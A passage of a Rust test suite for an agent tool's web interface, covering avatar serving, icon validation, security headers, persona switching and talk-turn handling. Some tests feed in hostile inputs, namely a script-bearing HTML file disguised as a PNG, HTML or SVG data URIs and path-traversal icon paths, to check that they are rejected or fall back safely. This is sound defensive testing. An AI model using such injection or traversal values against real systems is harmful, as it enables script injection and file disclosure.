13834 .unwrap()
13835 .avatar
13836 );
13837 let restarted = Arc::new(Ui::new(
13838 Queue::at(home.path().join("queue")),
13839 Questions::at(home.path().join("questions")),
13840 Talks::at(home.path().join("talks")),
13841 home.path().join("runs"),
13842 home.path().to_owned(),
13843 repo,
13844 ));
13845 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13846 .await
13847 .unwrap()
13848 .0;
13849 assert!(
13850 catalog["personas"]
13851 .as_array()
13852 .unwrap()
13853 .iter()
13854 .any(|p| p["id"] == "../custom/日本語")
13855 );
13856 for expected in ["custom", "default", "rei"] {
13857 assert!(
13858 catalog["personas"]
13859 .as_array()
13860 .unwrap()
13861 .iter()
13862 .any(|p| p["id"] == expected)
13863 );
13864 }
13865 let response =
13866 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13867 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13868 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13869 .await
13870 .unwrap();
13871 assert_eq!(
13872 effective_persona_icon(home.path(), "rei", Some(icon)),
13873 Some(String::new())
13874 );
13875 let response = talk_avatar(
13876 State(restarted.clone()),
13877 Path(id.clone()),
13878 Query(AvatarQuery {
13879 persona: Some("rei".into()),
13880 ..Default::default()
13881 }),
13882 )
13883 .await
13884 .unwrap();
13885 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13886 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13887 .await
13888 .unwrap()
13889 .0;
13890 assert_ne!(
13891 after
13892 .personas
13893 .iter()
13894 .find(|p| p.id == "rei")
13895 .unwrap()
13896 .avatar,
13897 reset
13898 .personas
13899 .iter()
13900 .find(|p| p.id == "rei")
13901 .unwrap()
13902 .avatar
13903 );
13904 let mut inherit = target(Some("rei"));
13905 inherit.inherit = Some("1".into());
13906 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13907 .await
13908 .unwrap();
13909 assert_eq!(
13910 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13911 Some(icon)
13912 );
13913 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13914 .await
13915 .unwrap();
13916 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13917 assert_eq!(
13918 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13919 Some(icon)
13920 );
13921 let cfg = config_for(&ui.repo).await.unwrap();
13923 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13924 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13925 assert!(!original_prompt.contains("data:image"));
13926 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13927 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13928 assert!(!stored.contains("data:image"));
13929 let mut orphan = ui.talks.get(&id).unwrap();
13930 orphan.persona = "../custom/日本語".into();
13931 let view = TalkView::with_config(
13932 orphan,
13933 false,
13934 Some(&cfg),
13935 home.path(),
13936 &id_links::IndexCache::default(),
13937 );
13938 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13939 }
13940
13941 #[tokio::test]
13942 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13943 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13944 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13945 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13946 let _ = magi_icon_put(
13947 State(ui.clone()),
13948 Json(MagiIconUpload { icon: icon.into() }),
13949 )
13950 .await
13951 .unwrap();
13952 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13953 assert_ne!(original, changed);
13954 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13955 let response = magi_avatar(
13956 State(ui.clone()),
13957 Query(AvatarQuery {
13958 persona: None,
13959 builtin: None,
13960 }),
13961 )
13962 .await;
13963 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13964 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13965 assert_eq!(
13966 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13967 "nosniff"
13968 );
13969 for bad in [
13970 "data:image/png;base64,PGh0bWw+".to_owned(),
13971 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13972 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13973 ] {
13974 assert!(save_magi_icon(home.path(), &bad).is_err());
13975 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13976 }
13977 let restarted = Arc::new(Ui::new(
13979 Queue::at(home.path().join("queue")),
13980 Questions::at(home.path().join("questions")),
13981 Talks::at(home.path().join("talks")),
13982 home.path().join("runs"),
13983 home.path().to_path_buf(),
13984 repo,
13985 ));
13986 assert_eq!(
13987 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13988 changed
13989 );
13990 let view = TalkView::with_config(
13991 restarted.talks.get(&id).unwrap(),
13992 false,
13993 None,
13994 &restarted.home,
13995 &restarted.references,
13996 );
13997 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13998 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13999 let response = magi_avatar(
14000 State(ui.clone()),
14001 Query(AvatarQuery {
14002 persona: None,
14003 builtin: None,
14004 }),
14005 )
14006 .await;
14007 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14008 .await
14009 .unwrap();
14010 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14011 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14012 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14013 let _ = magi_icon_delete(State(ui)).await.unwrap();
14014 }
14015
14016 async fn avatar(
14018 ui: &Arc<Ui>,
14019 id: &str,
14020 persona: Option<&str>,
14021 builtin: bool,
14022 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14023 let res = talk_avatar(
14024 State(Arc::clone(ui)),
14025 Path(id.to_owned()),
14026 Query(AvatarQuery {
14027 persona: persona.map(str::to_owned),
14028 builtin: builtin.then(|| "1".to_owned()),
14029 }),
14030 )
14031 .await
14032 .expect("an avatar is never an error response");
14033 let h = res.headers();
14034 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14035 let nosniff = h
14036 .get(header::X_CONTENT_TYPE_OPTIONS)
14037 .is_some_and(|v| v == "nosniff");
14038 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14039 let status = res.status();
14040 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14041 .await
14042 .expect("body")
14043 .to_vec();
14044 (status, ct, nosniff, csp, body)
14045 }
14046
14047 fn tiny_png() -> Vec<u8> {
14048 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14049 b.extend_from_slice(&[0u8; 32]);
14050 b
14051 }
14052
14053 #[tokio::test]
14054 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14055 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14056 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14057 assert_eq!(res.status(), StatusCode::OK);
14058 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14059 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14060 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14061 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14062 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14063 .await
14064 .unwrap();
14065 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14066 assert_ne!(
14067 persona_icon::operator_svg(),
14068 persona_icon::builtin_svg("default")
14069 );
14070 }
14071
14072 #[tokio::test]
14073 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14074 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14075 for p in [
14076 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14077 ] {
14078 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14079 assert_eq!(status, StatusCode::OK, "{p}");
14080 assert_eq!(ct, "image/svg+xml", "{p}");
14081 assert!(nosniff && csp, "{p}");
14082 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14083 }
14084 let own = avatar(&ui, &id, None, false).await;
14086 let default = avatar(&ui, &id, Some("default"), false).await;
14087 assert_eq!(own.4, default.4);
14088 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14089 assert_eq!(unknown.1, "image/svg+xml");
14090 }
14091
14092 #[tokio::test]
14093 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14094 let dir = TempDir::new().expect("icons");
14095 let good = dir.path().join("good.png");
14096 std::fs::write(&good, tiny_png()).unwrap();
14097 let spoof = dir.path().join("spoof.png");
14098 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14099 let big = dir.path().join("big.png");
14100 let mut bytes = tiny_png();
14101 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14102 std::fs::write(&big, bytes).unwrap();
14103 let missing = dir.path().join("missing.png");
14104 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14105 let extra = format!(
14106 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14107 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14108 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14109 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14110 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14111 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14112 uri(&good),
14113 uri(&spoof),
14114 uri(&big),
14115 uri(&missing),
14116 );
14117 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14118
14119 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14120 assert_eq!(
14121 (status, ct.as_str(), nosniff),
14122 (StatusCode::OK, "image/png", true)
14123 );
14124 assert_eq!(body, tiny_png());
14125 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14126 assert_eq!(ct, "image/png", "data URI");
14127
14128 for p in ["misato", "asuka", "shinji", "magi"] {
14129 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14130 assert_eq!(
14131 (status, ct.as_str(), csp),
14132 (StatusCode::OK, "image/svg+xml", true),
14133 "{p}"
14134 );
14135 assert!(body.starts_with(b"<svg"), "{p}");
14136 }
14137 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14139 assert_eq!(ct, "image/svg+xml");
14140 }
14141
14142 #[tokio::test]
14143 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14144 let oversized = format!(
14145 "data:image/png;base64,{}",
14146 "A".repeat(persona_icon::ICON_MAX_BYTES)
14147 );
14148 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14149 let extra = format!(
14150 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14151 );
14152 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14153 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14154 .await
14155 .expect("detail with invalid icon");
14156 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14157 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14158 assert_eq!(status, StatusCode::OK);
14159 assert_eq!(ct, "image/svg+xml");
14160 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14161 let Json(view) = talk_persona(
14162 State(Arc::clone(&ui)),
14163 Path(id.clone()),
14164 Json(TalkPersona {
14165 persona: "custom".into(),
14166 }),
14167 )
14168 .await
14169 .expect("persona switch with invalid icon");
14170 assert_eq!(view.talk.persona, "custom");
14171 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14172 }
14173 }
14174
14175 #[tokio::test]
14176 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14177 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14178 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14179 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14180 assert_eq!(
14181 (status, ct.as_str(), nosniff, csp),
14182 (StatusCode::OK, "image/svg+xml", true, true)
14183 );
14184 }
14185
14186 #[tokio::test]
14187 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14188 let (_t, _h, ui, id, _repo) =
14189 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14190 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14191 .await
14192 .expect("detail");
14193 let json = serde_json::to_string(&detail).unwrap();
14194 assert!(
14195 !json.contains("secret"),
14196 "the icon setting must not leak: {json}"
14197 );
14198 assert!(
14199 detail
14200 .view
14201 .persona_avatar
14202 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14203 );
14204 assert_eq!(
14205 detail.view.operator_avatar,
14206 format!(
14207 "/avatars/operator.svg?v={}",
14208 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14209 )
14210 );
14211 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14212 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14213 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14214 assert!(rei.avatar.contains("persona=rei&v="));
14215 assert_ne!(
14216 rei.avatar.split("&v=").nth(1),
14217 plain.avatar.split("&v=").nth(1)
14218 );
14219 }
14220
14221 #[tokio::test]
14222 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14223 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14224 let cfg = config_for(&repo).await.unwrap();
14225 for arrived in [false, true] {
14226 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14227 let observed = ui.queued_generation(&id);
14228 let talk = ui.talks.get(&id).unwrap();
14229 if arrived {
14230 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14231 }
14232 let mut settling = std::pin::pin!(settle_settings_turn(
14233 talk,
14234 ui.talks.clone(),
14235 cfg.clone(),
14236 id.clone(),
14237 turn,
14238 observed
14239 ));
14240 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14241 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14242 assert_eq!(first.is_pending(), arrived);
14243 if arrived {
14244 assert!(!settling.await);
14245 }
14246 assert!(!ui.is_thinking(&id));
14247 }
14248 }
14249
14250 #[tokio::test]
14251 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14252 let tmp = TempDir::new().expect("tempdir");
14253 let repo = tmp.path().join("repo");
14254 std::fs::create_dir_all(&repo).expect("repo dir");
14255 std::fs::write(
14256 repo.join("magi.toml"),
14257 format!(
14258 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14259 ),
14260 )
14261 .expect("write magi.toml");
14262 let home = TempDir::new().expect("temp home");
14263 let talks = Talks::at(home.path().join("talks"));
14264 let ui = Arc::new(
14265 Ui::new(
14266 Queue::at(home.path().join("queue")),
14267 Questions::at(home.path().join("questions")),
14268 talks.clone(),
14269 home.path().join("runs"),
14270 home.path().to_path_buf(),
14271 repo.clone(),
14272 )
14273 .with_worktrees_root(home.path().join("wt")),
14274 );
14275 let cfg = config_for(&repo).await.expect("discover config");
14276 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14277 let id = talk.id.clone();
14278 let call = |persona: &str| {
14279 talk_persona(
14280 State(Arc::clone(&ui)),
14281 Path(id.clone()),
14282 Json(TalkPersona {
14283 persona: persona.to_owned(),
14284 }),
14285 )
14286 };
14287
14288 let unknown = call("nobody").await.expect_err("unknown persona");
14289 assert_eq!(
14290 unknown.status,
14291 StatusCode::BAD_REQUEST,
14292 "{}",
14293 unknown.message
14294 );
14295
14296 {
14297 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14300 let busy = call("rei").await.expect_err("busy talk");
14301 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14302 assert!(
14303 busy.message.contains("a talk turn is running"),
14304 "{}",
14305 busy.message
14306 );
14307 drop(guard);
14308 }
14309 assert_eq!(talks.get(&id).expect("reload").persona, "");
14310
14311 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14312 assert_eq!(view.talk.persona, "gendo");
14313 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14314 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14315 for chosen in ["default", "gendo", "rei", "gendo"] {
14317 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14318 assert!(!view.thinking);
14319 assert!(!ui.is_thinking(&id));
14320 }
14321
14322 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14323 .await
14324 .expect("detail");
14325 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14326 assert_eq!(ids.first(), Some(&"default"));
14327 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14328
14329 let Json(view) = call("default").await.expect("back to default");
14330 assert_eq!(view.talk.persona, "");
14331
14332 let mut closed = talks.get(&id).expect("reload");
14333 talk::close(&mut closed, &talks).expect("close");
14334 let refused = call("rei").await.expect_err("closed talk");
14335 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14336 assert!(
14337 refused.message.contains("takes no more turns"),
14338 "{}",
14339 refused.message
14340 );
14341 }
14342
14343 #[tokio::test]
14344 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14345 let f = Fixture::start().await;
14346 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14347 let queue = f.queue();
14348 let mut mine = Task::new(
14349 "rename the loader".to_owned(),
14350 "rename the loader".to_owned(),
14351 PathBuf::from("/repo/magi"),
14352 Source::Agent {
14353 run: talk_id.clone(),
14354 node: "chat".to_owned(),
14355 },
14356 );
14357 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14358 assert_eq!(empty["task_progress"]["state"], "none");
14359 assert_eq!(empty["task_progress"]["total"], 0);
14360 queue.put(&mut mine).expect("file the task");
14361 let mut theirs = Task::new(
14362 "unrelated".to_owned(),
14363 "unrelated".to_owned(),
14364 PathBuf::from("/repo/magi"),
14365 Source::Human,
14366 );
14367 theirs.origin_chat = Some(talk_id.clone());
14369 queue.put(&mut theirs).expect("file the task");
14370
14371 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14372 assert_eq!(res.status, 200, "{}", res.body);
14373 let body = res.json();
14374 assert_eq!(
14375 body["status"], "open",
14376 "filing a task does not close a talk"
14377 );
14378 let tasks = body["tasks"].as_array().expect("tasks array");
14379 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14380 assert_eq!(tasks[0]["id"], mine.id);
14381 for status in [
14382 TaskStatus::Queued,
14383 TaskStatus::Running,
14384 TaskStatus::Held,
14385 TaskStatus::Failed,
14386 TaskStatus::Blocked,
14387 TaskStatus::Parked,
14388 TaskStatus::Done,
14389 TaskStatus::Queued,
14390 ] {
14391 mine.status = status;
14392 queue.put(&mut mine).expect("update status");
14393 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14394 let progress = &detail["task_progress"];
14395 assert_eq!(progress["total"], 1);
14396 assert_eq!(progress["counts"][status.as_str()], 1);
14397 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14398 assert_eq!(detail["status"], "open", "completion never closes the chat");
14399 if status == TaskStatus::Done {
14400 assert_eq!(progress["state"], "complete");
14401 assert_eq!(progress["done"], 1);
14402 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14403 } else {
14404 assert_eq!(progress["state"], "incomplete");
14405 assert_eq!(progress["done"], 0);
14406 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14407 }
14408 }
14409 }
14410
14411 #[test]
14412 fn talk_task_progress_counts_mixed_statuses() {
14413 let mut tasks: Vec<_> = [
14414 TaskStatus::Queued,
14415 TaskStatus::Running,
14416 TaskStatus::Held,
14417 TaskStatus::Failed,
14418 TaskStatus::Blocked,
14419 TaskStatus::Parked,
14420 TaskStatus::Done,
14421 ]
14422 .into_iter()
14423 .map(|status| {
14424 let mut task = Task::new(
14425 "task".into(),
14426 "task".into(),
14427 PathBuf::from("/repo"),
14428 Source::Human,
14429 );
14430 task.status = status;
14431 task
14432 })
14433 .collect();
14434 let progress = talk_task_progress(&tasks);
14435 assert_eq!(progress.state, "incomplete");
14436 assert_eq!(progress.total, 7);
14437 assert_eq!(progress.done, 1);
14438 assert_eq!(progress.unfinished_ids.len(), 6);
14439 assert!(progress.counts.values().all(|count| *count == 1));
14440 assert_eq!(
14441 progress.unfinished_ids,
14442 tasks[..6]
14443 .iter()
14444 .map(|task| task.id.clone())
14445 .collect::<Vec<_>>()
14446 );
14447
14448 for task in &mut tasks {
14449 task.status = TaskStatus::Done;
14450 }
14451 let complete = talk_task_progress(&tasks);
14452 assert_eq!(complete.state, "complete");
14453 assert_eq!(complete.done, 7);
14454 assert!(complete.unfinished_ids.is_empty());
14455 tasks[0].status = TaskStatus::Queued;
14456 let requeued = talk_task_progress(&tasks);
14457 assert_eq!(requeued.state, "incomplete");
14458 assert_eq!(requeued.done, 6);
14459 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14460
14461 let empty = talk_task_progress(&[]);
14462 assert_eq!(empty.state, "none");
14463 assert_eq!(empty.total, 0);
14464 assert_eq!(empty.done, 0);
14465 assert!(empty.unfinished_ids.is_empty());
14466 assert!(empty.counts.values().all(|count| *count == 0));
14467 }
14468
14469 #[tokio::test]
14470 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14471 let (_tmp, _repo, f) = talk_fixture().await;
14472 let id = f.post("/api/talks", None).await.json()["id"]
14473 .as_str()
14474 .expect("id")
14475 .to_owned();
14476
14477 let res = f
14478 .post(
14479 &format!("/api/talks/{id}/say"),
14480 Some(r#"{"text":"what does the queue module do?"}"#),
14481 )
14482 .await;
14483 assert_eq!(res.status, 202, "{}", res.body);
14484 let queued = res.json();
14485 let turns = queued["turns"].as_array().expect("turns array");
14486 assert_eq!(
14487 turns.len(),
14488 1,
14489 "the answer reflects only what is on disk the instant it is sent, \
14490 before the agent's turn - which can run for the whole of \
14491 `[graph] timeout_talk` - has a chance to land: {queued}"
14492 );
14493 assert_eq!(turns[0]["who"], "operator");
14494 assert_eq!(turns[0]["body"], "what does the queue module do?");
14495 assert_eq!(
14496 queued["thinking"], true,
14497 "the accepted response exposes the background turn claim: {queued}"
14498 );
14499
14500 let mut turns_after = 1;
14501 for _ in 0..SETTLE_STEPS {
14502 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14503 turns_after = detail["turns"].as_array().expect("turns array").len();
14504 if turns_after == 2 {
14505 break;
14506 }
14507 tokio::time::sleep(Duration::from_millis(10)).await;
14508 }
14509 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14510 }
14511
14512 #[tokio::test]
14539 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14540 let tmp = TempDir::new().expect("tempdir");
14541 let repo = tmp.path().join("repo");
14542 std::fs::create_dir_all(&repo).expect("repo dir");
14543 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14544 let home = TempDir::new().expect("temp home");
14545 let talks = Talks::at(home.path().join("talks"));
14546 let ui = Arc::new(
14547 Ui::new(
14548 Queue::at(home.path().join("queue")),
14549 Questions::at(home.path().join("questions")),
14550 talks.clone(),
14551 home.path().join("runs"),
14552 home.path().to_path_buf(),
14553 repo.clone(),
14554 )
14555 .with_worktrees_root(home.path().join("wt")),
14556 );
14557 let cfg = config_for(&repo).await.expect("discover config");
14558
14559 for delay in 0..40u32 {
14560 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14561 let id = talk.id.clone();
14562
14563 let handler = tokio::spawn(talk_say(
14564 State(Arc::clone(&ui)),
14565 Path(id.clone()),
14566 Ok(Json(NewTalkTurn {
14567 reply_to: None,
14568 text: "what does the queue module do?".to_owned(),
14569 attachments: Vec::new(),
14570 })),
14571 ));
14572 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14573 handler.abort();
14574 let _ = handler.await;
14577
14578 let mut turns = 0;
14579 for _ in 0..SETTLE_STEPS {
14580 if let Ok(fresh) = talks.get(&id) {
14581 turns = fresh.turns.len();
14582 if turns != 1 {
14583 break;
14584 }
14585 }
14586 tokio::time::sleep(Duration::from_millis(10)).await;
14587 }
14588 assert_ne!(
14589 turns, 1,
14590 "delay {delay}: talk {id} recorded the operator's turn but \
14591 the agent never answered - the reply task was never \
14592 started after the handler future was dropped"
14593 );
14594 }
14595 }
14596
14597 #[tokio::test]
14642 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14643 let tmp = TempDir::new().expect("tempdir");
14644 let repo = tmp.path().join("repo");
14645 std::fs::create_dir_all(&repo).expect("repo dir");
14646 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14647 let home = TempDir::new().expect("temp home");
14648 let talks = Talks::at(home.path().join("talks"));
14649 let ui = Arc::new(
14650 Ui::new(
14651 Queue::at(home.path().join("queue")),
14652 Questions::at(home.path().join("questions")),
14653 talks.clone(),
14654 home.path().join("runs"),
14655 home.path().to_path_buf(),
14656 repo.clone(),
14657 )
14658 .with_worktrees_root(home.path().join("wt")),
14659 );
14660 let cfg = config_for(&repo).await.expect("discover config");
14661
14662 for attempt in 0..3u32 {
14663 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14664 let id = talk.id.clone();
14665 let turn_guard = ui
14668 .begin_talk_turn(&id)
14669 .expect("claim the turn")
14670 .expect("a fresh talk owes nobody a turn");
14671
14672 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14673 let (release_tx, release_rx) = std::sync::mpsc::channel();
14674 ui.set_busy_queue_gate(BusyQueueGate {
14675 reached: reached_tx,
14676 release: release_rx,
14677 });
14678
14679 let handler = tokio::spawn(talk_say(
14680 State(Arc::clone(&ui)),
14681 Path(id.clone()),
14682 Ok(Json(NewTalkTurn {
14683 reply_to: None,
14684 text: "what does the queue module do?".to_owned(),
14685 attachments: Vec::new(),
14686 })),
14687 ));
14688
14689 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14694 .await
14695 .unwrap_or_else(|_| {
14696 panic!(
14697 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14698 )
14699 })
14700 .expect("the busy branch dropped the gate without using it");
14701 assert!(
14702 crate::consult::try_publication_guard(&talks, &id)
14703 .expect("publication fence")
14704 .is_none(),
14705 "a queued worker cannot promote text before its successor reservation is published"
14706 );
14707
14708 let closing = Arc::clone(&ui.admissions).write_owned();
14712 tokio::pin!(closing);
14713 std::future::poll_fn(|cx| {
14714 assert!(closing.as_mut().poll(cx).is_pending());
14715 std::task::Poll::Ready(())
14716 })
14717 .await;
14718 assert!(
14719 ui.begin_admission().is_err(),
14720 "replacement blocks later admissions"
14721 );
14722
14723 let running = talks.get(&id).expect("reload talk");
14730 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14731
14732 handler.abort();
14736 let _ = handler.await;
14737 std::future::poll_fn(|cx| {
14738 assert!(
14739 closing.as_mut().poll(cx).is_pending(),
14740 "HTTP cancellation must not abandon a publishing transaction"
14741 );
14742 std::task::Poll::Ready(())
14743 })
14744 .await;
14745 assert!(
14746 crate::consult::try_publication_guard(&talks, &id)
14747 .expect("publication fence after disconnect")
14748 .is_none()
14749 );
14750
14751 let _ = release_tx.send(());
14757 drop(
14758 tokio::time::timeout(Duration::from_secs(5), closing)
14759 .await
14760 .expect("short admission transaction should release for replacement"),
14761 );
14762 assert!(
14763 crate::consult::try_publication_guard(&talks, &id)
14764 .expect("publication fence after acknowledgement")
14765 .is_some(),
14766 "the publication fence is not retained by the long response"
14767 );
14768
14769 let mut fresh = talks.get(&id).expect("reload talk");
14772 for _ in 0..SETTLE_STEPS {
14773 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14774 break;
14775 }
14776 tokio::time::sleep(Duration::from_millis(10)).await;
14777 fresh = talks.get(&id).expect("reload talk");
14778 }
14779 assert!(
14780 fresh.pending.is_empty() && fresh.turns.len() == 2,
14781 "attempt {attempt}: talk {id} left the operator's text queued \
14782 with no drainer - the reclaimed turn was dropped along with \
14783 the handler future (pending {:?}, {} turns)",
14784 fresh.pending,
14785 fresh.turns.len()
14786 );
14787 }
14788 }
14789
14790 #[tokio::test]
14791 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14792 let (_tmp, _repo, f) = talk_fixture().await;
14793 let id = f.post("/api/talks", None).await.json()["id"]
14794 .as_str()
14795 .expect("id")
14796 .to_owned();
14797 let store = f.talks();
14798 let mut recovered = store.get(&id).expect("opened talk");
14799 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14800 .expect("persist pending draft without a live turn");
14801
14802 let edited = f
14803 .post(
14804 &format!("/api/talks/{id}/pending/edit"),
14805 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14806 )
14807 .await;
14808 assert_eq!(edited.status, 200, "{}", edited.body);
